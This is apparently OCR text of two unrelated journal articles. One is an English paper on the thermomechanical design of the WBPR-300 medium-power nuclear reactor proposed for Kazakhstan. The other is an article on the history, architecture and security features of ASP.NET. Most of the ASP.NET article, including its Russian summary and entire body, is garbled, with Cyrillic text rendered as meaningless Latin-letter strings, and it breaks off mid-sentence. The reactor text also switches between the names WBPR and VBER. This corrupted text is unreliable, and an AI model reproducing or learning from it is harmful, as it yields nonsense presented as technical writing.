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Technical Sciences

UDC 621.039

THE THERMOMECHANICAL PART OF THE
PROJECTED NUCLEAR POWER PLANT WITH
THE WBPR-300 REACTOR UNIT

Dzhumamukhambetov Nasikhan Gilmanovich

NAO Kazakh Agrotechnical Research University named after S.Seifullin

Erbaev Erbol Tulegenovich

NAO West Kazakhstan Agrarian and Technical University named after Zhangir Khan
Dzhaparova Dinara Amangeldievna

NAO West Kazakhstan Agrarian and Technical University named after Zhangir Khan

Annotation. In this paper, the thermomechanical part of a medium-power nuclear power plant
with a WBPR-300 reactor is considered. This type of reactor is designed to generate electricity and
can be used both as part of large power units and as part of small nuclear power plants to ensure
the energy independence of individual regions. The most important part of the installation is the
heat exchange system, which must efficiently utilize the heat released during the nuclear reaction.
Keywords: Nuclear power plants, reactor, uranium, steam generator, circulation pumps, power.

Introduction. On October 6, 2024, a republican referendum was held in Kazakhstan, in which the
majority of citizens supported the idea of building a nuclear power plant. On March 14, 2025, Head
of State Tokayev K.K., speaking at a meeting of the National Kurultai of the country, spoke about
the possible construction of three nuclear power plants, as well as the establishment of the Atomic
Energy Agency under the President of the Republic of Kazakhstan. The construction of the first
nuclear power plant with a capacity from 2 to 2.8 GW is planned in the Zhambyl district of the
Almaty region near the village of Ulken, and negotiations are underway with potential suppliers of
nuclear technology, an interdepartmental commission has been established that reviews the
proposals of all vendors on a competitive basis. The construction site and the capacity of the
remaining nuclear power plants are currently being studied /1,2/.

High-power reactors (with an electric capacity of 1000 MW or more), which allow for a lower cost
of 1 kW of installed capacity and, accordingly, 1 kWh of energy produced, require large capital
expenditures and long construction periods of 6-7 years. This greatly increases the risk of a return
on large capital investments. In this regard, the world has recently shown interest in small and
medium-power reactors.

Recently, the issue of choosing a reactor design for a 300 MW medium-power nuclear power plant
as a base project for the construction of nuclear power plants in the areas of decentralized energy
supply in Kazakhstan has been discussed. In any case, the reactor design accepted as the base for
construction in Kazakhstan must meet the highest international requirements of the 21st century
in terms of nuclear, radiation and environmental safety, reliability and economic competitiveness.
The main part. The WBPR reactor is a reactor with a block arrangement of the main reactor
equipment, created on the basis of marine block reactor technologies /3/.

Features of deep-echelon protection barriers in depth

a). Design features and characteristics of active zones and fuel:
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e The main design solutions for the core of the WBPR-300 reactor:

- A cassette core based on a fuel assembly of the fuel assembly type, developed for the WWPR-
1000 reactor unit with dioxide fuel, was used.

- The use of only zirconium structural materials for the height of the core.

- The possibility of using fuel with a maximum licensed 5% U-235 enrichment.

- The use of uranium-gadolinium fuel.

— The maximum fuel burn depth for fuel rods is 64 GW.day/tU.

- The core provides flexibility of the fuel cycle. It is possible to implement the duration of work
between overloads from 12 to 24 months. At the same time, the overload multiplicity is 5.66; 3.86
and 2.83 with the number of fuel assemblies in the recharge kit, respectively, 15, 22 and 30 pieces.
In these cases, the average burnout depth for discharged fuel assemblies is 57, 54 and 49
GW.day/tU with the maximum burnout depth for discharged fuel assemblies is 69, 58.5 and 57
GW.day/tU

b). Design features of the layout of the primary circuit equipment:

e The WBPR-300 reactor has a loop block arrangement of the main equipment of the primary
circuit, consisting of 4 loops. The block layout of the reactor unit is characterized by the fact that
the reactor vessel, steam generators and hydraulic chambers of the main circulation pumps are
connected to each other through short pipes by welding.

Advantages of the block layout:

- long pipelines of the primary circuit are eliminated, and at the same time, the probability of
rupture of the primary circuit pipeline is significantly reduced and, accordingly, the probability of
accidents with large leaks is reduced.

- the block design of the reactor unit made it possible to obtain specific indicators of the
placement of the WBPR-300 reactor unit at the level of specific indicators of the placement of the
WWPR-1000 reactor unit.

c). Design features of the containment (reactor containment):

e The WBPR-300 reactor uses a double cylindrical containment with a hemispherical dome part,
which includes:

- a sealed inner steel shell designed for an overpressure of 0.4 MPa with a leakage of no more
than 0.2% of the volume per day;

- an external protective shell made of reinforced concrete without prestressing, providing
protection from external influences (a 20-ton aircraft crash, a shock wave of 50 kPa, a tightness of
10% of the volume / day).

d). Design features of the reactor vessel

¢ In the design of the WBPR-300 reactor, with the block layout of the primary circuit equipment,
it is possible to have a small reactor vessel. The possibility of placing steam generators in a block
arrangement above the level of the core (as far as the height of the reactor vessel allows in a block
arrangement) makes it possible to create traction and stable natural circulation of the primary
circuit coolant, ensuring long-term heat removal from the shut-down reactor.

e). Steam generators.

e The WBPR-300 reactor unit uses a direct-flow modular coil steam generator with the movement
of a second-circuit medium inside the pipes. The heat exchange surface of the pipe system consists
of 37 unified coil steam-generating modules.

The heat exchange surface of the module is made of 10x1.2 mm pipes and consists of seven rows
of cylindrical multi-inlet coils wound onto the central pipe of the module.

The coil-like structure of the pipes has the ability to compensate for thermal expansion without
special mechanical stresses, as well as high resistance to fluctuations caused by the flow.

f) Main circulation pumps.
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e The main circulation pump of the WBPR-300 reactor is an assembly consisting of a diagonal
pump and a hermetically sealed asynchronous three-phase electric motor with a dry winding
separated from the water cavity by a thin-walled partition, made in a single unit.

Emergency cooling of the core. The presence of passive cooling systems. Availability of backup
water supply for various security systems. The main task of emergency cooling systems in case of
an accident with loss of coolant is: 1) ensuring that the core is covered with water and 2) adequate
removal of heat initially accumulated in the core during reactor operation, followed by long-term
removal of residual heat generation caused by the decay of long-lived radioactive fission products.
¢ In the design of the WBPR reactor, the coating of the core with water and heat removal from
the core is provided by passive injection of boron solution from large hydraulic storage tanks, as
well as by active methods (electric pumps): by recirculation of water flowing out of the | circuit
and refilling the reactor vessel with water from the recharge system.

The use of only passive emergency core cooling systems in the design of the WBPR-300 reactor
ensures that the core remains below the water level for only 24 hours. Therefore, before the
expiration of this period, additional active systems must be activated: recirculation of the leaking
coolant and water supply to the reactor vessel. It should be added that in active systems, high
degrees of reliability and safety should be achieved by increasing the system availability of
equipment (the number of active channels), which doubles the number of equipment and
pipelines used in the leaking water recirculation system. However, according to the developers of
the WBPR-300 project, the high degree of self-protection (absence of large leaks, self-limitation
and self-damping due to feedback in heat sink and reactivity "accidents") in the VBER-300 project
as a whole made it possible to simplify security systems and halve the number of channels for
active security systems.

The testing of safety features (principles, elements, technical solutions) in standard conditions,
previous experience or trials.

For the WBPR-300 reactor, the block layout of the main equipment of the reactor's primary circuit
is the main conceptual solution taken from the technologies of shipboard block reactors, which
have extensive operational experience and have shown a high level of reliability and safety. The
WBPR-300 project is evolutionary in relation to ship-based block reactor installations, increasing
the thermal capacity of the reactor unit to 850 MW is achieved by appropriately increasing the
size of the equipment while maintaining the appearance of the reactor unit and the basic design
solutions for the reactor unit. The project also uses the experience of WWPR development and
achievements in the field of ensuring the safety of nuclear power plants and marine nuclear power
plants. The concept of the WBPR core is based on the maximum use of technical solutions
developed and tested during the design and operation of the WWPR core with the developed fuel
assemblies (fuel assemblies) type fuel assemblies. The operation of such fuel assemblies in the
WWPR-1000 has confirmed their high reliability, safety and resistance to shape change /4-7/.
Advantages of nuclear power plants with WBPR-300 reactors:

- high reliability and survivability of block reactor installations (operating experience of prototypes
is more than 6500 reactor years);

- the maximum compactness of the reactor plant and, accordingly, the minimum volumes of the
reactor unit compared to traditional RU of existing nuclear power plants;

- minimal technical and investment risks in the implementation of the project;

- the possibility of placement near energy consumers (i.e. the possibility of dual-use, which
significantly increases the economic performance of ATEC with WBPR-300 reactors).

Main characteristics of a nuclear power plant with WBPR-300 reactor installations:

- block layout of the reactor plant;

- integrated housing;

- direct-flow steam generator with titanium pipe system;
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- sealed main circulation pumps;

- an active zone of low energy intensity;

- optimal combination of passive and active security systems.

Operation of the nuclear power plant's power unit in condensed mode: The maximum electric
capacity is 325 MW.

Operation of the nuclear power plant's power unit in the heating mode:

Electric capacity — 225 MW,

Heat release — 460 Gcal/h.

External protective shell of WBPR-300:

The outer diameter is 40 m;

Wall thickness — 1.5 m;

The material is monolithic reinforced concrete of class B40, especially dense W12-16.

Purpose — a protective barrier against external natural and man-made influences.

External influences:

Plane crash Weight — 20 tons;

Speed — 200 m/s;

The impact areais 7...14 m2;

Air shock wave with pressure in the front — 50 kPa;

Duration — 1s;

The direction is horizontal.

The main technical characteristics of the WBPR-300 reactor plant:

Thermal power —917 MW;

Fuel type — WWPR type;

The interval between overloads is 1.5-2 years;

The weight of the reactor unit is 1332 tons.;

Overall height —14.5 m;

The described diameteris 11.3 m;

The service life is 60 years.

Conclusions. The WBPR-300 reactor plant is an important step in the development of small and
medium-sized nuclear power plants, offering a balanced combination of efficiency, safety and
resistance to external influences. The thermomechanical part of the system ensures reliable
operation of the installation, minimizing risks and extending the service life of the equipment.
However, as with any nuclear installation, constant monitoring and modernization of technologies
are necessary to ensure long-term operation in a safe environment.
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JBosouma n npumeHeHne ASP.NET B
COBPEMEHHOM BEDB-NPOCTPAHCTBE

babaes Anv Pamnzosny
AKaZemuaA rocyaapCTBEHHOrO yNpaBaeHusa npu npesunaeHTe AzepbaiarKaHCKom
Pecnybauvkn Maructp. baky, AsepbanaxaH

SUMMARY
The continuous evolution of web technologies has significantly influenced the way organizations
develop and maintain online platforms. As a core part of the Microsoft .NET ecosystem, ASP.NET
offers a robust framework for building scalable, secure, and high-performance web applications.
Combining server-side rendering capabilities with a broad set of tools and libraries, ASP.NET
remains a versatile solution for both small-scale projects and large enterprise systems.
This summary explores the key structural elements of ASP.NET, its integration with the .NET
platform, and the fundamental security mechanisms that help protect data and maintain reliability
in modern web environments. The following questions are addressed:

e Why has ASP.NET become a cornerstone of contemporary web development?

e What challenges do developers encounter when implementing advanced .NET solutions?

e How does ASP.NET ensure scalability, performance, and security?

e What new directions are shaping the future of ASP.NET within the .NET ecosystem?
Keywords: ASP.NET, .NET platform, web development, scalability, security, data protection,
enterprise solutions, performance.

XULASO
Veb texnologiyalarinin durmadan inkisafi onlayn platformalarin yaradilmasina va idars edilmasina
ciddi tesir gostarir. Microsoft-un .NET ekosisteminin asas tarkib hissasi olan ASP.NET, genis
funksionallig, migyaslana bilan struktur va yiksak tahlikasizlik kimi UstlinlUklara malik veb
tatbiglarin hazirlanmasi Gc¢iin optimal hall taklif edir.
Bu xUlasada ASP.NET-in asas komponentlari, .NET platformasi ila inteqrasiyasi ve muasir veb
muhitinds malumatlarin muhafizasi Gcln vacib tahlikasizlik mexanizmlari arasdirilir. Asagidaki
suallara cavab verilir:
e Midasir veb inkisafinda ASP.NET-in shamiyyati na ila izah olunur?
e inkisaf etmis .NET hallsrinin tatbigi zamani program tartibatcilarinin Gzlasdiyi asas
¢atinliklar hansilardir?
e ASP.NET migyaslana bilan, ylksak performansli ve tahllkasiz hallari neca tamin edir?
e .NET ekosistemi ¢arcivasinda ASP.NET-in galacak inkisaf perspektivlari hansi istigamatda
formalasir?
Acar sozlar: ASP.NET, .NET platformasi, veb inkisaf, migyaslanma, tahlikasizlik, malumatlarin
gorunmasil, korporativ haller, performans.

KPATKOE COAEPXAHUE

CTpeMuTenbHoe pa3BUTME BeDO-TEXHONOMMIM OKA3blBAET 3HAYUTENbHOE B/MAHME Ha Crnocobb
CO3[aHMSA W COMPOBOXAEHWUA MHTEpHEeT-NNaTGopM. KaK KAYeBOM 3/1eMEHT 3KOCUCTEMbI
Microsoft .NET, ASP.NET npepgnaraet WWUPOKNIM Habop WHCTPYMEHTOB A1s pPa3paboTku
MacwTabmpyemblx 1 6e30NacHbIX BEO-NPUNOKEHWI C BbICOKOM NPOU3BOANTENBHOCTbIO.
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B JaHHOM YacTW PaccMaTPMBAOTCA apXUTEKTYPHble ocobeHHocT ASP.NET, ero B3aumogencreme
c nnatpopmoit .NET, a Takke 6a30Bble MexaHM3Mbl 3aLLUMTbI AaHHbIX M obecneyeHmna HaaEKHOCTH
B COBPEMEHHbIX YCN0BMAX BEO-pa3paboTkM. AHaNU3NPYOTCA CaeaytolLme BONPOChI:
e Kakmmm daktopamm obycnosneHa BaxHocTb ASP.NET B akTyanbHOW cpene Beb-
pa3paboTku?
e C KaKMmM TPYAHOCTAMW CTa/NKMBAOTCA pPa3paboTyMKM Npu BHeAPEeHWUW MNPOABMHYTBIX
pelweHni Ha nnatdopme .NET?
e Kakum obpaszom ASP.NET obecneunBaet MacLITabnpyemocTs, BbICOKYIO
Npon3BOANTENBHOCTL M 6e30NacHOCTL?
e KakoBbl NepcneKkTMBbl AanbHenwero pa3sutnsa ASP.NET B pamkax .NET-akocuctembl?
Kntouesble cnosa: ASP.NET, nnatdpopma .NET, Beb-pa3paboTka, MaclTabmpyemocTs,
6e30MacHOCTb, 3aLLMTa AaHHbIX, KOPNOPATUBHbIE PELLIEHNA, NPON3BOAMNTENBHOCTD.

BeeneHue

Beb-pa3paboTka Ha nnatdopme .NET noasmnack B Hayane 2000-x rof0B M NOCTENEHHO 3aBOEBasa
3HAYUTE/IbHYIO [10/110 KOPMOPATMBHOTO PbiHKA. MepBoHa4YanbHO KomnaHma Microsoft npeanarana
TexHonormo ASP (Active Server Pages), KoTopas no3BoaAAa AMHaMUYecKM reHepupoBaTe HTML-
CTpaHuLbl Ha cepBepe. OAHAKO CO BPEMEHEM CTaN0 ACHO, YTO AN BoNee CAOMKHbIX U KPYNHbIX
BEO-NPUNOKEHUI HEODXOAMMO MacliTabupyemoe U rmbroe pelleHune, cnocobHoe 3pPeKTUBHO
paboTaTb B YCNOBMAX PacTylMX TpeboBaHMI K NPOM3BOAMTENBHOCTM.B OTBET Ha 3TW BbI30OBbI B
2002 roay nossunack ASP.NET — cpeaa U GpelMBOPK, TECHO MHTErPUPOBaHHbIE C NAATPOPMON
.NET Framework. C Tex nop TeXHOMOrMA akKTMBHO Pa3BMBanacb WM MpeTeprnena CyulecTBeHHble
nameHenus. CerogHa ASP.NET sBnseTcA O4HOM M3 K/AYEBbIX NaaThopm AAs8 CO343aHMSA
BbICOKOHArpyKeHHbIX BEBO-NPUNOKEHMI, YAOBNETBOPAA NOTPEBHOCTM Kak HEDObLIMX KOMaHA,
TaK M KPYMHbIX KOMNAHWN, OPUEHTUPOBAHHbIX HA HAAEKHbIE PeLleHNA KOPNOPATUBHOIO YPOBHA.
Lenb gaHHOM CTaTbM — MPeaoCcTaBMTb 0030p 3BOAOLMN U Kao4eBbix npenmyiects ASP.NET, a
TaKKe 06bACHWTb, MOYEMY 3Ta TEXHO/IOMMA COXPAHAET BbICOKYIO NOMYNAPHOCTb B COBPEMEHHOM
Beb-npocTpaHcTBe.

NcTopus pa3suTtna ASP.NET

Ot knaccuyeckoro ASP k ASP.NET

MepBasa Bepcua TexHonorum Active Server Pages (ASP) yeuaena cseT B 1996 roay v npeactasasna
cobon cpeay Ans AMHAMUYECKOW reHepauum Beb-CTpaHML, NOCPeACTBOM CKPUMTOBbLIX SA3bIKOB
(VBScript, JScript). K Hauany 2000-x rogos ASP WWMPOKO NPUMEHANACh B KOMMEPUYECKUX MPOEKTaX,
oAHako He obecneynBana [AOCTAaTOYHOrO YPOBHA CTPYKTYPMPOBAHHOCTM KoZa WM CTPOrow
TUMNU3ALMK, YTO YC/IOXKHANO Pa3paboTKy K conpoBoxaeHne npunoxeHnin. ASP.NET, BbinylleHHas
B 2002 roany smecte ¢ .NET Framework 1.0, ctana npuHUMNMaAbHO HOBbIM 3TAanom B 3BOJIOLMM
cepBepHbIX TexHonornin Microsoft. OHa no3sonmna nucatb Koa Ha sA3bikax C# um VB.NET,
MCNO/Ib30BaTb OOBEKTHO-OPUEHTUMPOBAHHbLIM MNOAX0A, M MNPUMEHATb MHOTME MNPeMMyLLecTBa
nnatdopmbl .NET. Cpean Kntoyesbix HoBoBBedeHMI ASP.NET: ynpaBneHue COCTOSHUEM,
MCMNO/Ib30BaHME CepPBEPHbIX KOHTPOI0B, 06paboTka cobbiTuit 1 nHTerpauma ¢ MS 1IS (Internet
Information Services).
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BapuaHTbl pa3BuTtuA BHYTpKn ASP.NET
C TeyeHnem Bpemern ASP.NET obpactana 4ONOAHUTENIbHbIMM NOoACUCTEMAMU U GPENMBOPKAMM:
e ASP.NET Web Forms. TpaguuUMOHHbIM nNOAXOA, ONUPAKWMIACA Ha KOMMOHEHTHO-
OpMeHTMpPOBaHHYO modens u ViewState. YoobeH ans 6bicTpoi pa3paboTkun, oaHaKo npu
MacliTabrMpoBaHMM NPOEKTOB MOT CTAHOBUTbCA MPOMO3AKMM.
e ASP.NET MVC. MNMofAsKnACA Kak OTBET Ha 3aNpocC pa3paboTyMKOB No co3aaHnto bonee rmbKmx
NPUNOXKEHWUIN C YETKMM pa3aeNeHneM NOTMKN 1 NPeACTaBNEeHU.
e ASP.NET Web APl MNpepoctaBnan MHCTPYMeHTbl Ana cosgaHusa RESTful-cepsucos c
MCMNONb30BAHMEM TEX XK€ MEXaHMK MapLIPYyTM3aUMM 1N KOHTPOANepOoB, 4To 1 B ASP.NET
MVC.
e SignalR. Mo3Bosan peann3oBaTb ABYHAMNPABAEHHYIO CBA3b MEXKIY CEPBEPOM U KIMEHTOM
ONA OpraHM3aLmMm 4aToB, OHNANH-UIP, MHCTPYMEHTOB PeaslbHOTO BPEMEHM.
NmeHHO pa3HoOOpasmMe BCTPOEHHbIX PEeLeHU U BO3MOXKHOCTb KOMOMHMPOBATbL MX OTKPbLIIM
LWMPOKMe nepcrneKkTubl npumeHeHma ASP.NET B cambix pa3Hbix obnacTsax Beb-pa3paboTku.

MNepexoq kK ASP.NET Core

Jlornyecknum npogonxkeHnem passutma ASP.NET ctano nossneHne ASP.NET Core (paHee .NET
Core), obbsaBneHHoro B 2016 roay. [daHHbi $peliMBOPK Obl1 MOAHOCTBIO NepepaboTaH Ans
obecneyeHma  kpoccnnatdopmeHHoctn  (Windows, Linux, macOS) 1  onTMmumsaumm
npou3BoAMTENbHOCTK. [TpM 3TOM OCHOBHAaA MAeA — CO34aTb YHUOULMPOBAHHYKO NaaTthopmy,
obbveanHmsLyto ASP.NET MVC, Web APl 1 apyrMe KOMNOHEHTbI B eAMHbIN cTek.HecmoTpsa Ha paj,
CYLECTBEHHbIX M3MEHEHWM M OTKa3 OT ycTapesBlwunx KomnoHeHToB, ASP.NET Core coxpaHseT
NpPeemcTBEHHOCTb MO OTHOLWEHMIO K Knaccnyeckon ASP.NET, No3BoAs OMNbITHbIM pa3paboTymKam
.NET 6bICTPO OCBOUTLCA B HOBOM cpeae.

ApPXVTEKTYPHbIE OCOBEHHOCTU U KNOYEBLIE KOMMOHEHTbI
NuTerpauma c .NET Framework
ASP.NET TecHo cBszaHa ¢ .NET Framework (nan .NET Core B HOBbIX BepcMaAx). ITO 03HAYaeT, YTo
Pa3paboTUMKM MOTYT UCMO/b30BATD:
1. OBGBEKTHO-OPUEHTUMPOBAHHBIN A3bIK: NpenmyliecTBeHHO CH, pexke Visual Basic .NET man
F#.
2. Knaccbl nnatdopmbl NET: poctyn Kk obwwupHoi 6ubnmoteke (Base Class Library),
oxBaTblBatoLle paboTy ¢ GannoBON CUCTEMOW, CETEBLIMM NPOTOKOIAaMK, Ba3amm AaHHbIX
nT. A
3. YnpaBneHve namaTbto: cbopka mycopa (Garbage Collection), wmckatovatowas
HEeOHXOAMMOCTb PYYHOM OUYUCTKMN.
bnarogapa Takomy noaxony ASP.NET cTaHOBM/IaCb MOLLHbIM pPeLlleHMEM ANA KOPMOPaTUBHOIO
YPOBHA, rAe BaXHbl CTabWAbHOCTb, WWPOKMN Habop BUMBAMOTEK U BO3MOXKHOCTL ObICTPOW
NMHTerpaumm ¢ akocuctemomn Microsoft.

MapLpyTusauma U cepBepHble KOHTPOAbI

B knaccmyeckon ASP.NET (B ocobeHHocTM B Web Forms) npumeHsnca mexaHusm ynpasBaeHus
CTPaHWLUAMM M KOHTPONamu, Hnarogapa Yemy paspaboTyMKM mMOrinM BbIcTpo Ao0b6aBnsATL Beb-
371eMeHTbl (TEeKCTOBble MOAA, KHOMKW, CMNUCKM) M 0bpabaTtbiBaTb WX CODOLITMA Ha CcepBepe.
MapLpyTnsauma B paHHUX peanmnsaumax dblna 4OCTaTOYHO NPOCTOM: 6a3mposanack Ha dannax un
kaTanorax.C sbixogom ASP.NET MVC, a 3atem u ASP.NET Core maplipyT13aumsa ctana bonee
rmbkol, noanepmeas «4venoBeko-dymTaemble» URL M cnoxkHble npaBuaa. ITO 3HAYUTENbHO
yNpoCcTUA0 pa3paboTKy MHOrOMOAYAbHbIX MPUAOKEHWUI 1 yaydwnno SEO-onTMMmM3aumMio CanTos.
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MoaaepKa MoAyNbHbIX GpenMBOpKOB
BHyTpm ASP.NET pa3BnBanncCb pas/iniyHblie MOAY/1M, NO3BONABLLINE PeLlaTb KOHKPETHbIE 3a4a4M:

e Entity Framework: o6bekTHO-pensumMoHHoe oTobpakeHne (ORM), ynpoulatouiee
B3auMmogencTemne c 6asamm AaHHbIX.

e ASP.NET Identity: coBpemeHHada cuctema ayTeHTUOMKAUMM M aBTOPMU3aALMM C NOALEPHKKOM
ponesbix moaenen, JWT-TOKEHOB M MHTErpaLmmn co CTOPOHHUMK NpoBaraepamm (Google,
Facebook, Twitter).

e Blazor: TexHonoruna, nossonAwollan nucaTb GpoHTeHA-kod Ha CH# M BbINONHATL €ro B
6pay3epe ¢ nomolubio WebAssembly nnm SignalR.

Takum obpaszom, ASP.NET M3Ha4yanbHO NO3MLMOHMPOBANACL HE NMPOCTO Kak Habop bmnbanoTek, a
Kak MaclwTabupyemaa nnatdopma, KOTOPYHD MOXKHO PacClWMpATb MO Mepe BO3PaCTaHMA
TpeboBaHMM NPoeEKTa.

Mpeumywectsa ASP.NET
BbicOKas NpoM3BOANTENBHOCTE M MaclwTabupyemocTb
Mpn npasuabHOM KoHdUrypaumm ASP.NET cnocobHa o6pabaTtbiBaTb TbiCAYM OAHOBPEMEHHbIX
3aMNpPOCOB C MMHUMANbHbIMKM 3aA4epPKKamm. ITO AOCTMIAaeTCA, B YHaCTHOCTH, 3a CYeT:
e ACUHXPOHHOM Mmoaenu paboTbl (async/await), nossonaoein sGpGeKTMBHO MCNONb30BaTbL
pecypcbl cepeepa.
e BO3MOXHOCTM TOPM3OHTANLHOrO MacwTabupoBaHMa nytem Aayb6avpoBaHua  Beb-
NPUNOXKEHNS HA HECKONIbKO CePBEPOB C 6aNaHCMPOBKOM Harpy3Ku.
e  ONTMMM3AUMM paHTalma, BkAtodatowen Just-In-Time (JIT) Komnuaauuio U Uenblin pag,
ynydwenmit 8 .NET Core (Hanpumep, Server GC).

besonacHocTb
B KOpMOpaTMBHbLIX CUCTEMAX BaAXHO 3aWMTUTb JaHHble M0/Ab30BaTeENEN M KOMMeEpPYEecKMe
ceeaeHns. ASP.NET npenoctaBaseT WUMPOKMA CNEKTP MEXAaHNU3MOB:
e lMopaepskka HTTPS n HSTS ana 6e3onacHo nepedadm AaHHbIX.
e DOunbTpbl U aHHOTAUMKM ANA 3alWmTbl OT SQL-MHBEKUMI, XSS 1 APYrMX pacnpoCcTPaHEHHbIX
yA3BMMOCTEN.
e Ponesble mMogenn ayTeHTUPUKAUMM M aBTOPM3aLMKM, NpocTas WHTerpauma ¢ Active
Directory, OAuth2, OpenlID Connect.
e BcTpoeHHble cpeacTBa  WKNdpoBaHMA  KOHOUIypauUMOHHbIX  GalaoB UM CEKPEeToB
NPUIOKEHNA.

boraTtan skocuctema MHCTPYMEHTOB
Pa3paboTka Ha ASP.NET ynpouiaetca 6nrarogapa nHterpauum ¢ Visual Studio, oaHOM M3 cambix
dyHKUMOHaNbHbIX IDE. Kpome Toro, B pacnopsasKeHnmn nporpammmcToB MMeeTca:
e Visual Studio Code — nerkoBecHbln peaakTop, KOTOpbIM noaaep>kmsaeT C# M OCHOBHbIE
dyHKummM ASP.NET.
e MHoxectBo NuGet-nakeToB AN pelleHns NpUKNagHbix 3343y (nornposaHue,
KelMpoBaHMe, Nepecblsika NoYTbl 1 Ap.).
e [lonHas coBmecTumocTb C  Microsoft Azure, uyto ob6neryaetr pas3BepTbiBaHWE WU
MacwTabmpoBaHMe 061aUHbIX NPUIOKEHWNIA.

MNopneprkka obnayHbIX cepBUCOB

ASP.NET oTanuyHo paboTaeT B coyeTaHMM c Azure, rae AOCTYMHbl cepBucbl 6a3 AaHHbIX (SQL
Database, Cosmos DB), ouepeaei (Azure Queue), a Takxe GyHKUMKM Serverless (Azure Functions).
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Takoe B3aMMOAeHCTBMG MO3BOJIAET CO34aBaTb pacnpeaeseHHble CUCTEMbI, TOTOBbIE K pa60Te c
6onbwmmMm Harpyskamum " MUHTEHCMBHbIM NMOTOKOM AdHHbIX B rnobanbHOM macluTabe.

OcHoBHble 061acTV NPUMEHEHNA
ASP.NET opneHTMpOBaHa Ha CO3/aHMNe LMPOKOro CrnekTpa Beb-NpuaoKeHnn:

1. KopnopaTuBHble MOPTanbl: BHYTPEHHME CUCTEMbI ANSA ynpasneHua Kagpamu (HR),
byxrantepuen, LOKYMEHTAMM, CBA3bIO MEXKAY OTAENaMMU.

2. NMybandHble calTbl U WMHTEPHET-MarasuHbl: Pecypcbl C BbICOKOM MOCEWAEMOCTbIO,
Tpebytouime cTabunbHOM paboTbl M 3aWMTbI TPAH3AKLMNA.

3. Cuctembl ynpaBneHusa KOHTEHTOM (CMS): MHOroumcsreHHble ABMNKKM WM NAATGOPMbI
(Umbraco, Orchard) 6asupytotca Ha ASP.NET, npenoctaBnaa yaobHbin uHTepdeinc ana
pPeaaKTMPOBaHMA U NyBAMKALMKN KOHTEHTA.

4. CepBuCbl PeanbHOro BPEMEHM: 4YaTbl, CUCTEMbl OMOBELLEHWUIM, OHMANH-UTPbI, KOTOPblEe
MOTYT BbITb peanmn3oBaHbl C NomMolLlbto SignalR nnm Blazor Server.

5. RESTful API: cosaaHue Beb-cny»Kb, KOTOPble MOTYT MCMOb30BaTLCA MOBUAbHBIMK 1 SPA-
npunoxeHnamum (Angular, React), a TakKe ApYyrMMM CTOPOHHUMM CUCTEMAMMU.

Bonpocbl 6e30nacHOCTM U HaZeXHOCTH
AyTeHTUdUKauuUs 1 aBTopu3auma
ASP.NET no3Bo/iAeT MCNO/1b30BaTb HECKOIbKO TUMOB ayTeHTUOUKALMNK:
e ®opmbl (Forms Authentication): knaccuyeckuii noaxon, Korda MonAb3oBaTelb BBOAMUT
NOTMH/Napo/ib Ha Beb-cTpaHuLe, M B cookie CoXpaHAloTCsA COOTBETCTBYIOLINE CBEAEHMS.
e ASP.NET Identity: rmbkaa cucrema, NoAAepKMBAOLLAA Pa3/IMYHbIE XPaHWMAMLLE ANS
yyeTHbIX AaHHbIX (SQL Server, BHelHWe NpoBanaeps!).
e OAuth2 / OpenlID Connect: nHTerpauma co cTopoHHUMM cepsucamm (Google, Facebook,
Microsoft).
Ponesaa mogens (Roles) n noantunkm (Policy) AatoT BO3MOXKHOCTb TOYHO HacTpamMBaTb AOCTYN K
pecypcam: Hanpumep, TONbKO aAMWHUCTPATOP MOXKET YNpaBnAaTb 0a3amu  AaHHbIX, a
npenoaasaTtesib UMEeT OrpaHNUYEeHNA Ha UBMEHEHME KPUTUYHbBIX HACTPOEK.
3almTa OT YA3BMMOCTEMN
B pamkax ASP.NET npenocTtaBaatoTca cpeacrsa 414 BaAnMAauMm BXOAHbIX AAHHbIX M 3alMTbl OT
aTak:
e Request validation: npoBepka, He COAEPKUT NN NOb30BATE/IbCKUA BBO/, NOTEHLMANBHO
onacHbix HTML-Teros nnm CKpunToB..
e Anti-forgery TokeH: mexaHW3m, 3awmuatowmin ot CSRF-aTak, Koraa 3/10YMbILLNEHHUK
NbITAETCA UCMO/b30BaTb OTKPbITbIE CECCMM MO/Ib30BATENS.
e O6pabotka OWMUBOK: rMOKME HACTPOMKM MnepeHanpaBaeHUa MNpW  BO3HWKHOBEHMM
NCKIOYEHWNM, YTODbI HE PACKPbIBATb BHYTPEHHIOK CTPYKTYPY MPUIOKEHUA.
Takum 0bpa3om, npm cobNoaeHNN CTaHAAPTHLIX pekomeHaauni Microsoft, cuctemy Ha ASP.NET
MOXKHO C/Zle/1aTb MaKCUMa/bHO 3alUMLLIEHHOM U COOTBETCTBYIOLIEN CTPOrMM KOPMOPaTUBHbLIM
CTaHAapTam.
MepcneKkTnBbl pasBUTUA U aKTyaNbHOCTb
ASP.NET He ToNbKO He yTpatTuaa akTyanbHOCTb, HO M MPOAOJIKAET aKTMBHO pa3BumBaTbcA. C
nepexogom Ha ..NET 5 .NET 6 u pganee Habaogaerca AajsbHelnwee yaydlweHue
NPOM3BOAMTENBHOCTM, CHUXKAETCA 00bemM WCNONb3yemMolr MamATv, paclimpseTca  CnekTp
nogaepxmaemblx naateopm (Linux, macOS). Microsoft perynspHo BbinyckaeT 0OHOBEHMA, B
KOTOPbIX MOZEPHM3MPYIOTCA MeXaHM3Mbl 6e3onacHocTi, A06aBAAOTCA HOBble MHTEPdENChl U
MHCTPYMEHTbI.
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ASP.NET Core cTpemuTeIbHO HabunpaeT nonyaapHOCTb Baarogaps OTKPLITOM MoAenn pa3paboTKu
(Open Source) 1 coobulecTsa. boblOe KONMYECTBO NPUMEPOB, FOTOBbIX WABNOHOB U CTOPOHHMX
61MbAMOTEK YNPOLLLAET NPOLECC CO34aHMA NPOTOTUMOB N BbIMYCKa MNOJIHOLEHHbIX penn3os.Kpome
TOro, pocT 06/1aYHbIX TEXHONOTUIA U MUKPOCEPBUCHOM apPXMTEKTYPbI NPUBOAUT K BO3PACTAHMIO
CNnpoca Ha BbICOKOMPOM3BOAUTENbHbIE W TUOKMe Beb-ppenmBopkn. ASP.NET, 6narogaps
noaaepKke KoHTelHepusauum (Docker), nerkoctu nHTerpauum ¢ Kubernetes n coeMecTMmMocTu ¢
Pa3nMUHbIMM  Da3amu  AaHHbIX, OCTaeTcA OAHMM W3  JINAMPYIOLWMX PEeLeHun B  Mupe
KopnopatnaHoro .NET-pa3paboTku.

3aknoveHue

ASP.NET goKkasana CBOK »KM3HeCcnocobHOCTb, NPoiaa NyTb OT Kaaccuyeckon TexHonorum Web
Forms po yHuduumposaHHoro ¢permsopka ASP.NET Core. OHa ycnewHo coyeTaeT B cebe
